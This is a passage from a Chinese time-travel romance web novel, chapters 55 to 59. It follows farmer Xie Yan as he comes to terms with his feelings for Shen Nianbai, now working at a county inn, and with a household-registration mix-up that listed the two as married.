谢言忙问道:“那娄知县真是钟大哥的表姑父吗?”
“当然..”张佳华拉长了声音,拉足了众人的好奇心,“不是了。”
柳梦寒瞪大了眼睛,“这种事也敢说谎啊?”
张佳华耸耸肩,“反正又没人会去求证,又能解决麻烦,为什么不行?”
这话题不能在说下去了,这么多人,难保不会有人说出去,到时候就麻烦了,谢言赶紧打了岔,“吃饭吧,吃饭吧。”
张佳华知道他在担心什么,笑了笑,没有在说话了。
吃完了,随从去给葫芦装水,张佳华与谢言说话,张佳华将沈虎给得五百文拿给谢言,“这钱你收着吧,本来就是你的东西,我拿着不合适。”
谢言怎么敢要这个钱,连忙推脱,“张哥,这钱我不能要,要不是你今天仗义相助,我这儿别想安宁了。”
两人说了一阵,最后还是张佳华收着了,倒不是他说不过谢言,而是谢言看起来真的很怕沈家人又来找麻烦,沈家人要是知道这钱最后是谢言收了,肯定不会善罢甘休的。
说完了这事,谢言又说起了别的事,“张哥,这一匹马能驼四个箱子吗?”
张佳华如实回道:“这个倒是没有试过,怎么了?”
谢言道:“近来地里庄稼果子
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熟得快,我想留一匹马三天两头的给你们送些货过去。”
谢言天天看着地里的情况,由他送当然最好,不过张佳华也不确定一匹马能不能驼四箱货,“试试吧,不行的话,明我让人给你牵一匹马过来。”
谢言不好意思麻烦人家,就说:“不行的话我今天跟你们跑一趟,把马牵回来就是。”
听到他的话张佳华笑道:“现在不着急地里的活了?”
听着他打趣的话,谢言笑了笑,回道:“现在有人干了,也不缺我一个了。”
张佳华拍了拍他的肩膀,也没有说破他是想去县城看沈念白的话,只是应了声,“行吧。”
说完话,张佳华照顾随从先把四个大框子放在一匹马背上,随从担忧道:“从来没有这样驼过,恐怕不行哦。”
张佳华道:“行不行的先试试。”
柳梦寒看见了,过来问道:“谢言哥,这是干嘛呢?”
谢言回道:“我想留下一匹马,过两天送货。”
“送货?”柳梦寒随口说道:“牛也能驼吧。”
谢言恍然,对啊,可以用牛驼啊,于是他与张佳华说道:“张哥,不用试了,我赶明儿拿牛驼,一样的。”
张佳华道:“牛走得可慢。”
谢言回道:“能驼货就行,慢点不怕。”
谢言都这样说了,张佳华也没有在说什么,而经过随从的验证,一匹马是驼不了四个大框子的,于是还是用上了两匹马。
货装完了张佳华就带着人走了,谢言送了一小段就回来了。
谢言一回来柳梦寒就忙不迭的问道:“谢言哥,念白在县城还好吗?”
这话谢言不知道该怎么回答,去到陌生的地方,周遭一个人认识的人都没有,能好吗?
柳梦寒见他脸色不好,连忙问道:“不好吗?”
谢言心里烦躁,“我也不知道。”
柳梦寒又问道:“他在县城找到活了吗?”
谢言回道:“算是找到了吧。”
这柳梦寒就听不明白了,找到了就找到了,没找到就是没找到,算是找到了是怎么个算法?他还要问但谢言却不想说了,背着背篓就上山去了。
走在地里的小路,新长出来的嫩草拂过脚背,有些发痒。盛夏的太阳热辣辣的,晒得皮肤都发痛,但谢言一点感觉都没有,玉米杆长长的叶子拂过他的手,碰到了他手指上的伤口,钻心的疼痛传来,让谢言微微咬了咬牙,他突然想起沈念白都没有发现他受伤了。
谢言深吸了一口气,逼迫自己不在多想。
山上草木茂盛,但也只有晒到太阳的地方才茂盛,谢言蹲在地上割草,镰刀割过草的声音‘扑哧扑哧’太阳晒得他汗水直流,知了在林中放肆的叫着,震得他耳朵都有回声,恍恍惚惚间他听见沈念白在喊他,“谢言哥,吃饭了。”
他张口刚想回答,就倒在了地上,睫毛上的汗水将太阳光折射成七彩的,他恍惚又听到了沈念白的声音,“谢言哥,你怎么睡地上,回房去睡吧。”
56.第 56 章
“谢言哥。”
谢言睁开眼睛,看见的是柳梦寒担忧的双眸,他张了张嘴想说话但是嗓子干得厉害,说不出话来,柳梦寒赶紧给他端了水。
“谢言哥,你可吓死我们了。”柳梦寒一边给他喂水,一边说道。
在柳梦寒的话中,谢言才知道原来他晕倒在地里,柳梦寒上山割猪草的时候正好看见了,喊了许承志他们给抬回来的。
喂完了一碗水,柳梦寒又问道:“谢言哥,你到底怎么了?”
喝了水身上没那么热了,但精神还是不大好,他疲惫的回了句,“没什么,大概是累着了,休息休息就好了。”
其实谢言知道他应该是中暑了,只不过柳梦寒他们应该不知道什么中暑,他也不想费心解释,所以就含糊过去了。
柳梦寒道:“我知道你肯定是为了念白的事愁心,现在沈家肯定不会再来了,不如我们把念白接回来吧。”
看着柳梦寒激动的神色,谢言心里苦笑,他倒是也想把沈念白接回来,只是沈家人始终是个雷,而且张佳华是骗他们的,要是被他们知道了,肯定要来闹的,到时候沈念白夹在中间,必定很难受。
“在等等吧。”
柳梦寒不明白,“为什么要在等等啊?”
谢言没有多说,只是问道:“现在什么时辰了?”
柳梦寒回道:“酉时三刻了。”
谢言问道:“许承志他们呢?”
柳梦寒回道:“都去山上了,我也是刚才进来拿东西才看到你醒了。”
谢言道:“谢谢你啊。”
柳梦寒连忙道:“谢言哥你说这话我可当不起,要不是你和念白救了我,估计我现在都投胎了。”说着柳梦寒想起他锅里的菜,连忙道,“谢言哥,你自己躺会儿啊,我锅里还炒着菜呢,一会儿糊了,有事你就喊我。”
柳梦寒说完就风风火火的跑了出去,其实已经来不及了,因为谢言已经闻到了空气中隐隐预约的糊味了。
夕阳从墙壁的缝隙中穿进来,丝丝缕缕的,黄灿灿的,不难想象现在的天空是怎么一副漂亮的景象。
谢言起身出了门,抬头看去,果然是特别漂亮的火烧云。谢言忍不住想,这么漂亮的火烧云县城是不是也能看见呢?现在正是饭点天悦客栈现在一定很忙,大家肯定都跑来跑去的。
柳梦寒忙得不可开交,宋家人也上山去了,只有他一个人做饭,忙得脚不沾地的,一会儿又要洗菜,一会儿又要加柴烧火,还要看锅。
他念叨着,“要是念白在就好了。”说完一抬头就看到谢言在门口站着,还把他吓了一大跳,“谢言哥,你好了?”
谢言走到灶前烧火,“嗯,好了。”
柳梦寒有点尴尬的解释道:“我刚才就是随便说说,你别往心里去啊。”
谢言问道:“什么?”
柳梦寒松了口气,没有听见就好。
“没事没事,我就是随便说说,没什么重要的。”
谢言没有在说话了,倒是柳梦寒问道:“谢言哥,你下午说要去县城送货,什么时候去啊?”
谢言反问他道:“怎么了?”
柳梦寒道:“你去肯定要去看念白吧,我想做些吃的带给他。”
谢言回道:“暂时还不确定,货能装两筐就去。”
“那你去之前提前跟我说一声。”
“嗯。”
天渐渐地暗了下来,漂亮的火烧云慢慢散去,只剩下朦胧的天空,许承志他们也回来吃饭了。
许承志他们回来先去河边简单的洗漱一番才回来的,每个人身上都是湿哒哒的,但是被热气一蒸很快就干了,他们看见坐在门前的谢言,都关切的问道:“谢大哥,你怎么样了?”
谢言露出个安抚的笑意来,“没什么事,大概就是累着了,休息会就好了。”
许承志道:“你是太累了,每天跑上跑下的,又操心,是该好好休息。”
谢言没有多说,“吃饭吧。”
吃饭的时候,谢言说起了今天的事,他与许承志说道:“今天你们得罪了沈熊他们,回到村子里他们肯定不会善罢甘休的。”
许承志道:“谢大哥,你不用担心我们,就算我们不得罪他,他们也是这样的。”
谢言诧异,“你们本来就有仇啊?”
许承志一行人互相看了看,这才说了起来。
村里每家每户孩子都多,一家的孩子的多了,总有些不受宠的,这些爹不疼娘不爱的孩子不仅在家里是被欺负的对象,在村里也是人人都能欺负。没有父母撑腰,在外头受了欺负回去也只会被骂没用。
今年天比较干,村里的老人预计今年粮食会减产。家家户户为了少交人头税,就把家中多余的孩子全都分家赶了出来。
许承志他们这些人都是被家里赶出来的,家里又没有分地给他们,他们在村里活不下去,本来打算是去县城里做活的,但是大家谁也没有去过县城,心里没底,刚好听说灵秀山在招人,但灵秀山这一片向来都是荒山,他们最开始还是害怕,没有人敢来,最后只有许承志一个人壮起胆子过来看看,没想到是真的,所以大家才来的。
许承志道:“谢言哥,我们以后大概也不回村里了,所以他沈家人在厉害也整不到我们头上。”
谢言闻言在心里暗自松了口气,不回去就不会把娄知县的事说出去,就不会给天悦酒楼添麻烦,等时间久了自然也就把这些事给忘了。
“吃饭吧。”
吃完饭,谢言去洗澡的时候突然想起许承志的话,他突然意识到,现在沈念白的户籍在他这里,这几年的丁税也是他给交的,沈家都已经给他销户了,那是不是只要沈念白咬死了不是沈家的孩子,沈家人也拿他没有办法?
想到这个可能谢言突然来了精神,明天去找王捕头问问,看看到底是不是这么回事,要是真是这么回事,那沈念白就可以回来了。
想到沈念白要回来,谢言人都轻快了几分,他洗完
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了澡回了家。柳梦寒在门口等他,见他过来起身,“谢言哥,我跟绥安说好了,晚上跟他们一起住,你别睡牛棚了。”
骤然提及这事,谢言还有些怔愣,随即应了一声,“好。”
柳梦寒说完就走了,谢言推门进屋,家里穷一直都没灯,一到晚上屋里就黑漆漆的,但谢言对这间小小的屋子实在太熟悉,闭着眼睛都知道怎么走。
他闭着眼睛往床走去,突然又想起这屋子才建好的时候。有时候晚上没有月亮,屋里就像现在这么黑,他和沈念白经常被撞到,所以每到没有月亮的时候,为了少一个人撞到他就走在前面拉着沈念白。次数久了沈念白也会强硬的拉谢言一回,每次他都会走得很慢很慢,所以他每次都不会撞到。
谢言站在屋中,他伸出手,可没有人会拉住他了,也没有人会说,“谢言哥,小心点。”
想到这些过往,谢言就觉得心口一窒,他从来不知道原来沈念白在他的生命中竟然已经这么的不可或缺了。
谢言鼻头一酸,快步的走到床上躺下,明天,他明天一定要把沈念白带回来。
怀揣着这样的期待,谢言迷迷糊糊的睡了过去,然后罕见的做了一个梦。
梦里他才穿越到这个世界,只不过不是小孩子,而是成年人,而沈念白也是成年人,他正在河边洗衣服,河水倒映出他皎皎面容,溅起的河水落在他身上,像给他洒了一层银霜。
此时系统说话了,叮,欢迎绑定勤劳致富系统,穿越即送绝色美人。’
话音一落,沈念白就放下了手中的衣服,他起身看向了谢言,朝他露出一个温柔的笑来,他喊他,“相公。”
谢言在原地愣住了,他想说不是的,我是你哥哥,你应该喊我哥哥。可是话到嘴边,他望着沈念白泛着粉的脸,竟然鬼使神差的应了,“嗯。”
应了他后,所有的抵触之情一瞬间就消失了,他竟然坦然的就接受了他们关系的转变,他上前,“衣服洗好了吗?”
沈念白回道:“还没有。”
谢言道:“我帮你洗。”
沈念白扬起一抹明媚的笑,“谢谢相公。”
谢言也跟着他笑,走到沈念白旁边,两人一起洗衣服。
正洗着,突然一汪水浇到了谢言的身上,谢言一抬眸就看到沈念白看着他笑得狡黠,谢言笑了一下,也浇水去泼他,两人你来我往,谢言为了好浇水甚至下到了河里,沈念白见状也追了过去,结果一不小心滑倒了,“啊。”
谢言赶紧上前接住他,沈念白直直的朝他扑了过来,整个人扑到了他身上,唇上温热潮湿的触感传来,谢言猛地一惊,身体不受控制的往后倒去,整个人浸到了水里,冰冷的触感让他整个人都抽搐了几下。
谢言猛地惊醒,他不敢置信的瞪大了眼睛,漆黑的夜里只有沈念白的脸清晰的印在他的脑中。
缓了一会儿过后,谢言急急起身从柜子里拿了干净的衣服,连鞋都忘记了穿就出了门径直往河边跑去。
57.第 57 章
直到冰冷的河水将谢言完全淹没,银白的月亮照进他的眼眸,将他的心思照得无所遁形,耳边河水缓缓的流过,却抚不平他躁动的心。
他竟然对沈念白起了这种心思,那可是他弟弟,他怎么能这样?
若是沈念白知道又会怎么看他?
那些躺在一张床的每个夜晚,是否会让沈念白觉得恶心甚至后悔终身?
越想越让谢言害怕,他怕沈念白恨他。
未知的恐惧轻易的将人吞噬,谢言坐了起来,带起一阵冰凉的水花,谢言狠狠的给了自己一耳光,暗暗下定决心,一定要把这件事瞒得死死的,决计不能在任何人面前表露毫分。
谢言将身上洗干净,换上干净的衣服,然后蹲在河边洗衣服。
不是农忙时节,地里的活没那么多的时候,谢言经常和沈念白一块洗衣服,时不时的闲聊几句,都是关于家里的事。
在同样的地方做同样的事,总是不可避免的回想起以前,但想着想着思绪就不受控制了,他又想起了刚才做的梦,他似乎听到了沈念白在喊他,“相公。”
谢言整个人彻底呆住了,他突然意识到,这种眷恋不舍,日思夜想的感情是不是代表着他喜欢上沈念白了?
这个想法冲击着谢言的大脑,他觉得很可笑,两辈子都没有喜欢过人,现在竟然喜欢上了自己的弟弟。
谢言平静的将衣服洗完,晾好,只是他不敢回屋睡觉了,他害怕躺在那张床上,他曾经和沈念白在那张床上睡了五年,只要一闭上眼睛,他甚至都能感受到沈念白的温度。
稻谷这几天在开花,谢言拿着竹竿子去给稻谷授粉,拢共十块田,没一会儿就扫完了,谢言又背着背篓去田坎上收豆子,绿豆,饭豆都成熟了,收了种黄豆。
往年这些事都是沈念白在做的,谢言蹲在田坎上,镰刀割在豆梗上扑扑的响,手上的动作重复又重复,谢言忍不住想,以前沈念白在做这些的时候会想什么呢?
谢言想不出来,他这才意识到,其实他根本不了解沈念白,一直都是沈念白在将就他,他喜欢吃辣,所以地里种了很多辣椒,每道菜基本上都有辣椒。他喜欢吃饼,沈念白就烙各种饼,酥饼,白吉饼,玉米饼,豆渣饼。每回出门他都会提前烙好让他带在路上吃。
那沈念白喜欢什么呢?
谢言想了好一会儿,直至他将田坎上的绿豆都割完了,他才想起来,兰花,那株从县城回来的路上挖回来的兰花。沈念白很喜欢它,每天都会去浇花,偶尔还会对它说话。
那沈念白走的这两天没人浇花,兰花还活着吗?谢言连豆子也不管了,急急往家里跑,在看到兰花安然无恙的时候放下了心,他拿起水瓢要给兰花浇花,又嫌弃桶里的水已经挑回来一天了,于是去河里舀了一瓢新鲜的浇了下去。
看着水慢慢的完全浸到地下,谢言的心像是被安抚住了一般平静了下来,他放下水瓢回到田坎上将割好的豆子背了回来。
第二天柳梦寒他们起床就看到门前堆得满满当当的,绿豆,饭豆,还有一大堆的牛草,而谢言坐在地上,靠在牛草上望着远处,神情十分落寞。
柳梦寒和宋绥安对视了一眼,柳梦寒轻手轻脚的上前,轻声喊了声,“谢言哥?”
谢言听到声音扭头看向他,平静的应了一声,“嗯。”
柳梦寒担心的问道:“谢言哥,你没事吧?”
“没事。”
柳梦寒看着满地的豆梗和草,根本不相信他说的没事,但他又不知道该说什么,于是就说:“我去煮饭了。”
谢言平静的说道:“我今天要去县城。”
柳梦寒立马应道:“好,我给念白烙点饼子。”
柳梦寒急急的去做早饭了,没有在管谢言。
吃过早饭,谢言揣着饼子出发了。饼子跟沈念白烙的一模一样,柳梦寒说这是沈念白教给他的。
柳梦寒说这话的时候满脸开心,觉得他很有做饭的天赋,但谢言却忍不住想,沈念白什么都教给柳梦寒了,那他还会回来吗?
谢言揣着热乎的饼子和满心的忐忑上了路,他一个人去的,没有带货,所以他走得很快,一个时辰就到了县城。
谢言来到王捕头的家,他运气很好,王捕头还没有去县衙,他开门看到谢言的时候皱了眉,“你怎么了?”
不怪王捕头这样问,因为谢言的状态实在不好,眼眶红红的,眼下青黑,整个人呈现出一种颓废的消极感。
此时谢言才意识到他竟然是空手来的,但现在去买东西已经来不及了,他直接说道:“捕头大哥,我想问问,沈念白的户籍在我的户籍上,税也是我给他缴的,他爹还能把他要回去吗?”
王捕头一听就知道是怎么回事,他道:“你说的要是什么意思?”
在谢言开口之前,王捕头又说话了,“先进来吧。”
谢言进了屋,王大娘听到声音在屋头问道:“谁啊?”
她的声音听着嘶哑又虚弱,说完又咳了起来,状态似乎很不好。
王捕头回了一声,“谢言。”
两人来到大堂坐下,谢言说:“沈念白的父亲不知道从哪儿知道沈念白在灵秀山的消息,要把他带回去。”
王捕头皱眉,“沈念白不都嫁给你了吗?他怎么带回去?”
这话把谢言吓得要站起来了,他连忙解释,“不是的,他是我弟弟,没有嫁给我。”
听到他的话王捕头眉头就皱得更紧了,“没嫁你们一个男的一个哥儿,睡一张床上?”
“这...”骤然说到这事,谢言竟然不知道该怎么解释,这事真是说来话长了,“捕头大哥,这事我可以解释的。”
此时拄着拐杖的王大娘低低的咳嗽着走了进来,她问道:“我能听听吗?”
王捕头有些无奈,“娘,你跟着凑什么热闹?”
王大娘看了他一眼,脸瞬间就沉了下去,她低着头,“算了。”
谢言见她这么失落,连忙道:“不是什
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么秘密的事,您愿意听就听听吧。”
王大娘转身,没有说话,径直到屋里坐下了。
这个小插曲过去,谢言解释道:“我之前并不知道念白是哥儿,我...”
“你这话说得就太假了。”谢言话还没说完就被王捕头打断了,“是不是哥儿一眼就看出来了,你俩睡了几年都不知道?你是不是不想负责任?”
这顶帽子盖下来,谢言觉得他说什么都苍白了,但他自己倒没什么,他甚至愿意为此负责,关键是他不能把沈念白的清白毁了。
他顿了一下平复了心情,觉得不能顺着王捕头的话说,于是他改了口说道:“捕头大哥,你弄错了,平时我一直是睡在牛棚里的,只有刮风下雨的时候我才会进屋,只不过也是睡地上,并没有跟念白一起睡。”
这种私密的事情真相到底如何王捕头这个外人是不知道的,任凭谢言怎么说都行,只不过信不信也不是谢言能决定的了。
王捕头看着谢言,神色有些一言难尽,“谢言啊,你不能这样搞来搞去的。”
谢言懵了,他怎么了?“捕头大哥,有话你就直说吧。”
王捕头道:“之前你找我补税,我去现场看了,你和沈念白,一个男人一个哥儿,家里只有一张床,这任谁看了也得认为你们是夫夫。”
谢言没有说话,倒不是他不否认了,而是他知道王捕头的话还没说完,而他接下来的话才是重点。
果然王捕头接着说道:“咱俩虽然没有什么私交,你来找我主动补税我觉得你这个人老实,你把沈念白上到你的户籍上,我出于相信你也就没有查验就给你上了。我朝税律,年满十四岁,每年每人丁税二十文,成了亲则夫夫两人只交一人丁税。”
“上户籍的时候都给你们上的夫夫,所以没有算沈念白的丁税,你现在又来跟我说你们俩是清白的,根本没有成亲。你但凡早一天来找我也行,昨天县令刚查了账,我让我怎么去跟他解释?”
谢言没想到还有这种变故,他一时都懵了,这该怎么跟沈念白说啊?
老天爷,他这办的是什么事啊?
王捕头看谢言愣在了当场,叹了口气与他说道:“事到如今,你和沈念白写一份和离书给我,我去县衙把你们的户籍分出来,这件事只要我们不说,没有人会知道你们曾经成过亲,对你们在婚嫁也没有影响。”
谢言嘴角扯了扯,所以沈家人的问题解决了,现在又搞出更大的问题来了。
王捕头叮嘱他道:“娄知县可不敢说话,这件事要是捅到娄知县那儿去,我这个捕头也做到头了。”
这话王捕头说得严重了,但谢言不知道,别说古代官场就是现代官场他也搞不懂,自然当王捕头说的是真的。这么严重的后果架着他不答应也不行了,他磕磕巴巴的说道:“我...尽量。”
王捕头补充了一句,“当然了,你们要是真在一起了,更好,这件事就完美无瑕了。”
谢言扯了扯嘴角,他倒是想。
58.第 58 章
从王捕头家出来,谢言整个人跟丢了魂一样,漫无目的的在大街上走着。
“谢老板。”
一道熟悉的声音将谢言的思绪拉了回来,他定睛一看就看到了天悦楼的小二,一抬头才发现到了天悦酒楼了。
谢言扯了扯嘴角问道:“钟大哥在吗?”
小二回道:“在的。”
谢言又问道:“张哥在吗?”
小二回道:“也在。”
谢言又问道:“沈念白在吗?”
小二回道:“在后厨呢。”
“谢谢。”
在小二疑惑的目光中,谢言走进了后院,此时已经快到中午了,来吃午饭的客人多了起来,后厨正是忙的时候,后厨洗菜的洗菜,剁肉的剁肉,厨房里炒菜的声音轰轰的,跑堂一会儿进来一趟,“来,菜单。”一会儿又进来一趟,“又来一桌。”
谢言在院子里没有看见沈念白,就往厨房去,但在厨房也没有看到沈念白。倒是张乘风看到了谢言,热情的与他说话,“谢老板,找念白啊?”
念白,说得多自然啊。谢言心想,你们才认识几天啊。
“怎么没有看到他?”
张乘风说道:“这个时间他应该在收拾客房呢,你去楼上找找吧。”
谢言点了头算是谢过了,转身出了后院,小二也忙起来了,分身乏术谢言也不好麻烦于是自己上了楼,这个时候住宿的客人都已经起了,该退房的也退房了,小二在打扫,基本上房门都是打开的,找人很方便。
不过谢言一路找过去都没有看到沈念白,走到最后一间的时候听到钟程台在说话,“颜色要搭配好,尽量选则明亮的,种类要丰富,突出层次。”
看来钟程台在忙,谢言没啥事也不想打扰到他,转身就要走,就在这时他听到沈念白的声音。
“我都记下了。”
钟程台道:“你不用记,按你的感觉来,我房间的明天按这样来就行。”
“好。”
谢言顿住了脚步,他一时竟不知道是要走还是要留下,就在他迟疑的时候,门打开了,沈念白站在门口,看到他时有惊讶有欣喜,“谢言哥。”
沈念白穿着一身橘色的衣裳,是之前从没有穿过的艳丽颜色,看布料也是好的,脚上穿着布鞋,谢言扫到自己脚上的草鞋,在看到沈念白脚上雀跃的神色,他的心如同被一盆冷水浇透,他干巴巴的说道:“我来找钟大哥。”
沈念白道:“钟大哥在里面,你进去吧,我下去了。”
“好。”
谢言说完就进了屋,他一抬头就看到钟程台小塌上的桌子上放了一瓶插花,绿色的松树枝,红色的百合,配着红色的小果子,清新明媚又不失张扬,即便是谢言这个不懂花的人也觉得十分的漂亮。
钟程台见他的视线直一直落在插花上,笑问道:“好看吧?”
心谢言如实点头,“很看好。”
“念白插的。”说到这个钟程台就打开了话匣子,“我姐姐学了十几年插花都没有他随便一插插得好看,他还说他平时没有怎么练过呢,真是天才啊。”
谢言干巴巴的笑了笑,他想起之前在家的时候,不太忙的时候沈念白就会从山上摘花回来,只不过他们没有花瓶,沈念白只能插在竹篮上,或者背篓上。
他怎么就没有发现沈念白的天赋呢?
钟程台道:“只要有客人入住房间内就要摆鲜花,光是冷冰冰的摆设不够吸引人,等来的人多了,就可以顺势涨价,真是太妙了。”
钟程台越说越高兴,但谢言听着心里不是滋味,他明白沈念白根本不会回去了。他干笑了两声,什么也没有说。他也不知道说什么,他不会做生意,也不健谈。
钟程台说完才问道:“今天来有事吗?”
谢言觉得说没事太奇怪了,于是他说:“最近菜和果子熟得多,我想借一匹马,隔三差五的送些货过来,不然老了不好吃了。”
钟程台玩笑道:“送货不收钱吧?”
谢言赶紧摆手,“钟大哥说哪里话,我感谢你还来不及呢,这点小事我要是还收钱就太不是人了。”
钟程台道:“我就随口一说,你别紧张。马的事你跟佳华说一声,让他给你一匹就是了。”
谢言道:“谢谢钟大哥。”
钟程台道:“该我谢谢你才是,你们俩兄弟完全是我的财神爷啊,昨天拉回来的货反响非常好,尤其是西瓜,当场就被抢售一空啊,我都不敢整个卖,怕老顾客买不到找我麻烦。你地里的西瓜还有多少啊?”
本来谢言是种来自己吃的,没想过要卖这回事,所以种得不多,只有三十来颗,就算每颗结三个,也只有九十个,昨天张佳华摘了十个。
“大概七八十个的样子。”
这太少了,一天就卖没了,到现在说这些没用,钟程台问道:“瓜在地里能待多久?”
这才刚开始摘,谢言道:“半个月没有问题,摘下来在放半个月也没有问题。”
钟程台想了想,与他说道:“这样,你隔三差五给我送几个瓜来。少也有少的卖法。”
谢言对钟程台这种精打细算的生意不懂,只是点头表示附和。
或许是钟程台也看出了他对这些并不感兴趣,说了几句话后就没有留他了,“你今天是来看念白的吧,我就不留你了,去看看他吧。”
谢言起身走出了房间,走到门口的时候他回头看了一眼,看见钟程台正伸手触摸花瓶里的百合,笑得十分开怀。
谢言关了门一步一步走在空旷的走廊,楼下是食客们的说话声,混着饭菜的味道,吵得谢言萌生出一些格格不入的感觉来。
下了楼,谢言看着后院的门,一时间竟不知道该去跟沈念白说什么,于是他径直找到了张佳华,找他要了一匹马后就要离开。
见他急急要走,张佳华还有些诧异,“这么快就要走?”
谢言还是老一套的借口,“地里活忙,得回去干活。”
听了他的话张佳华笑道:“昨天不还说请了人了吗?怎么这又得亲自回去干了。”
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谢言道:“请人是建房子的,地里的活还得干。”
张佳华也没有在多说,随口问了句,“看过念白了吗?他现在可是掌柜的心头宝了。”
本来这句话张佳华是随口说的,但听在谢言的耳朵里却有种别样的意味,他道:“看过了。走了。”谢言说完了话就牵着马离开了。
走在回家的路上,热烈的太阳晒得谢言头脑发昏,马也热得直吐舌头,站在阴凉处不愿意走,吃着路边的草。谢言累很了,一屁股坐到地上,早上吃得少现在饿得慌,他从怀里摸出烙饼,面无表情的啃了起来。
吃完了饼,太阳比中午更灼人了,谢言索性躺在地上睡了一觉,他以为他会睡不着,但很快就睡不着了,这次他没有在做梦,只是睡了一觉。
一觉睡醒,已经是傍晚了,谢言从地上起身,带着马回家。
谢言走得很慢,回到家的时候天都已经黑了,许承志他们已经吃了饭在门前坐着乘凉,看见谢言回来,各个都喊他,“谢大哥回来了。”“谢大哥。”
柳梦寒听到声音迎上前来,问道:“谢言哥,念白怎么样了?”
谢言收拾好心情,回了他,“挺好的。”
柳梦寒道:“哪天有空我也去县城看看他去。”
谢言没有说话,柳梦寒又喊他吃饭,“谢言哥,我们不知道你什么时候回来就提前吃了,饭给你留着的。”
谢言道:“等会儿在吃吧,现在还不饿。”
柳梦寒也没有多说,只道:“嗯,那你饿了喊我,我给热热。”
“嗯。”
谢言将马绳交给了柳梦寒,自己则去河边舀了水准备去浇门前的那株兰花,但是他舀水回来才发现兰花不见了,栽兰花的地方已经变成平地,他死寂的心瞬间就暴躁了起来,“花呢?”“花呢?”“谁动了我的花?”
许承志他们被谢言突然暴躁的声音吓了一大跳,但是各个都不知道花去哪里了。
“什么花啊?”“那地方之前是不是有一颗兰花啊?”“不知道啊?没注意看。”
最后还是拴马回来的柳梦寒说出了花的去处,“是我挖了,他们抬石头回来,要往这边走,我怕他们把花给踩到了,所以就挖起来了。”
谢言盯着他面无表情的问道:“哪儿去了?”
柳梦寒被他看得有点害怕,连忙说道:“我也不知道栽哪儿,就种盆里了,就在那儿。”
顺着柳梦寒的手谢言看见了放在屋檐下的兰花,它好端端的活着,只是换了一个地方而已,谢言的心气瞬间就散了,他道:“抱歉啊。”
柳梦寒这才察觉出谢言的不对劲,他连忙问道:“谢言哥,到底怎么了?”
谢言垂眸默了一会儿,到底还是什么都说,只是说道:“你不是会酿酒吗?酿一些吧。”谢言说完就进屋去了,柳梦寒看着他的背影,担心的抿了抿唇。
经过这件事,大家都看出了谢言有心事,但又没有人敢去问,大家默默地低下了头,只有兰花在夜风的吹拂下轻轻的摇晃着。
59.第 59 章
灵秀山的日子又恢复了平静,只是气氛一直很低迷,这一切的来源自然是因为谢言,他每天早出晚归,面上没什么表情看着很平静,但是他几乎一整天都不说话,每天除了睡觉就是上山干活,他也不在管建房子的事了,一门心思都铺在了地里,也没有在说过要去县城的话了。
这样过了几天,柳梦寒看着地里的菜都要老了,树上的果子都快熟过头了,终于忍不住了,趁着晚上谢言睡觉的时间与许承志一道去了县城。
柳梦寒只去过县城一次,路都快忘得差不多了,走错了好几个岔路口,一直到天亮才终于走到了县城。
在看到县城的城门时,柳梦寒长长的舒了口气,“我的老天爷,总算是给我走到了,我还以为要在山里转一辈子了。”
许承志道:“不会的,我们肯定会走出来的。”
柳梦寒看着他,想说他两句,但是累狠了故而作罢。
两人进了城,柳梦寒和许承志都没有来过县城,一时都被这繁华的景象震撼了,柳梦寒左顾右盼忍不住叹道:“原来县城是这样的啊。”
许承志本来还在惊叹,听到柳梦寒的话不由得问道:“你之前没有来过县城吗?”
大家相处久了,不像之前那般局促,说话也随便了些,柳梦寒问道:“怎么,不像啊?”
许承志人也老实,“你不是有钱人家的公子吗”
柳梦寒无语的笑出了声,“你们眼睛都是长来出气的吗?”
许承志挠挠头,“你长得白净,我以为..”
不知道是哪句话惹到了柳梦寒,他瞪了许承志一眼,抬脚就走了,许承志连忙追了上去,“你等等我。”
柳梦寒在路上随便问了一个人,问到了天悦酒楼的位置,直接找了过去。
来到天悦酒楼门口,小二看见他俩,招呼道:“两位客官,是打尖还是住店啊?”
柳梦寒问道:“我们找沈念白,他是在这儿吗?”
一听是找沈念白的,小二瞬间就警惕了起俩,掌柜的特意交代了,除了谢言任何人来找沈念白一概不认,于是小二挺起胸抬起头,大声喝道:“谁谁谁啊,谁是沈念白啊,我们这儿没有这个人。”
柳梦寒和许承志一听也没底了,他俩互相看了一眼,柳梦寒说道:“谢言哥骗我们,念白根本没有在这儿啊。”
许承志比他还要担心,“谢言哥会不会被人给骗了,把念白兄弟送到这儿来,这里的人把念白兄弟给卖了。”
这个时代卖人都不是新鲜事了,柳梦寒瞬间瞪大了眼睛,“不..不会吧?”
许承志却笃定道:“我相信谢大哥是不会骗我们的,肯定是他也被骗了,所以他这段时间才要死不活的。”
本来柳梦寒心里就没底,听到他的话也觉得他说得有道理了,可这么大的店,他也不敢闯进去,于是他跟许承志说道:“走,咱们报官去。”
因为他们说是来找沈念白的,小二对他们十分关注,听到他们的话本来嗤之以鼻的,但听到他们要去报官,连忙喊道:“诶诶诶诶,你们俩可不许毁坏我们店的名声。”
柳梦寒道:“谢言哥说了念白在这儿,你却说没有,肯定是你们把人给卖了,我要去报官。”
现在天还早,店里一个客人都没有,但街上已经有了行人,小二听他们说谢言哥,也猜到是谢言的人,但又不敢确定,于是他道:“你们先进来,不要在外面吵吵。”
柳梦寒现在看天悦酒楼就跟蛇窟似的,他连忙摇头,“不要,万一你把我也给卖了怎么办?”
小二十分无奈,他遇到过千奇百怪的客人,但没有遇到过像柳梦寒一样无理的人,他道:“诶,你这个人真是不讲道理,大清早的来找晦气,你叫什么名字,我进去说给掌柜的,让他来与你说。”
“柳梦寒,你只管去说便是。”
小二进了店,却没有去找掌柜的,而是直接去了后院找到了沈念白,“沈小兄弟,外面来了个叫柳梦寒的,说要找你,你认识吗?”
沈念白正在处理今天早上刚送来的鲜花,听到小二的话立马放下手里的活,“认识,他在哪儿?”
“哎。”说起柳梦寒小二就叹了气,“他在店门口大吵大闹,说我们这是买卖人口的黑店。”
沈念白一听赶紧跑了出去,来到门口看到柳梦寒和许承志蹲在门口,连忙喊了声,“梦寒。”
柳梦寒看到沈念白瞬间来了精神,朝他跑了过去,“念白。”
柳梦寒按着沈念白的肩膀,确定他完好无损后才说道:“你可吓死我了。”
小二在背后无语的撇撇嘴,“还是进来了,不怕我们是买卖人口的黑店了?”
沈念白赶紧说道:“抱歉啊,小二哥,梦寒他不是有心的。”
一大早就遇到这种事,小二心情也不好,于是说道:“我倒是没什么,只是不知道掌柜的要是听见了会怎么想。”
沈念白打着圆场,“小二哥,等会儿我给你做芙蓉糕,这事就算过去了好不好?”
